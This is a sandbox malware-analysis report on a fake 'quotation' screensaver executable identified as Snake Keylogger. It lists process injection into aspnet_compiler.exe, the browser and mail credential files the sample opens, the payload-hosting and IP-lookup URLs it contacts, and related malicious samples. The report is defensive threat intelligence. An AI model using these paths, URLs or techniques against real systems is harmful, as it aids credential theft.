0_2_00007FFD9BAB1535

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Thread created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe EIP: 4EEC0000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1904EEC0000

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Queries volume information: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2961287104.0000019050ECE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2961287104.0000019050ECE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Scheduled Task/Job	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	51 Virtualization/Sandbox Evasion	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	211 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	51 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTATION_NOVQTRA071244PDF.scr.exe	37%	ReversingLabs	Win64.Trojan.Znyonm

Source	Detection	Scanner	Label
http://www.microsoft.coH	0%	Avira URL Cloud	safe
https://s24.filetransfer.io/storage/download/ndvzPJWaMUSB	0%	Avira URL Cloud	safe
https://s24.filetransfer.io	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s24.filetransfer.io	188.114.97.3	true	false	unknown
filetransfer.io	188.114.96.3	true	false	high
reallyfreegeoip.org	188.114.97.3	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false		high
https://s24.filetransfer.io/storage/download/ndvzPJWaMUSB	false	Avira URL Cloud: safe	unknown
http://filetransfer.io/data-package/I7fmQg9d/download	false		high
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
https://filetransfer.io/data-package/I7fmQg9d/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.microsoft.coH	aspnet_compiler.exe, 00000004.00000002.2960737490.0000019050B9C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75p	aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	aspnet_compiler.exe, 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://reallyfreegeoip.org	aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050DB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://filetransfer.io	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050DE4000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://filetransfer.io	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C21000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s24.filetransfer.io	QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	aspnet_compiler.exe, 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	s24.filetransfer.io	European Union	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	filetransfer.io	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559133
Start date and time:	2024-11-20 08:17:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION_NOVQTRA071244PDF.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 71% Number of executed functions: 113 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: QUOTATION_NOVQTRA071244PDF.scr.exe

Simulations

Behavior and APIs

Time	Type	Description
02:18:08	API Interceptor	13060x Sleep call for process: QUOTATION_NOVQTRA071244PDF.scr.exe modified
02:19:00	API Interceptor	65922x Sleep call for process: aspnet_compiler.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
193.122.6.168	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Fac.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Factura Honorarios 2024-11-17.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Ref#150062.vbe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	DHL Packing list.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Enclosed Offer.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	RE Invoice Request (Nov 2024).exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Solicitud de cotizacion Stro1268975.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Aral#U0131k PO# IRON-TE-18024 _323282-_563028621286 pdf .exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Kayla Dennis CV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
s24.filetransfer.io	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr	Get hash	malicious	FormBook	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr	Get hash	malicious	Unknown	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
filetransfer.io	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	rBankRemittance_pdf.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.200.96
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Company catalog profile.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Quote GVSE24-00815.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Payment_transaction.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	nowe zam#U00f3wienie.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	owari.arm7.elf	Get hash	malicious	Mirai	Browse	129.146.156.151
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
CLOUDFLARENETUS	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	Delivery_Notification_00000875664.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	104.26.1.29
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	188.114.96.3
	ce.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
CLOUDFLARENETUS	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	Delivery_Notification_00000875664.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	104.26.1.29
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	188.114.96.3
	ce.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Kayla Dennis CV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	188.114.97.3 188.114.96.3
	quote001.vbs	Get hash	malicious	GuLoader	Browse	188.114.97.3 188.114.96.3
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	188.114.97.3 188.114.96.3
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	2.4218683729357977
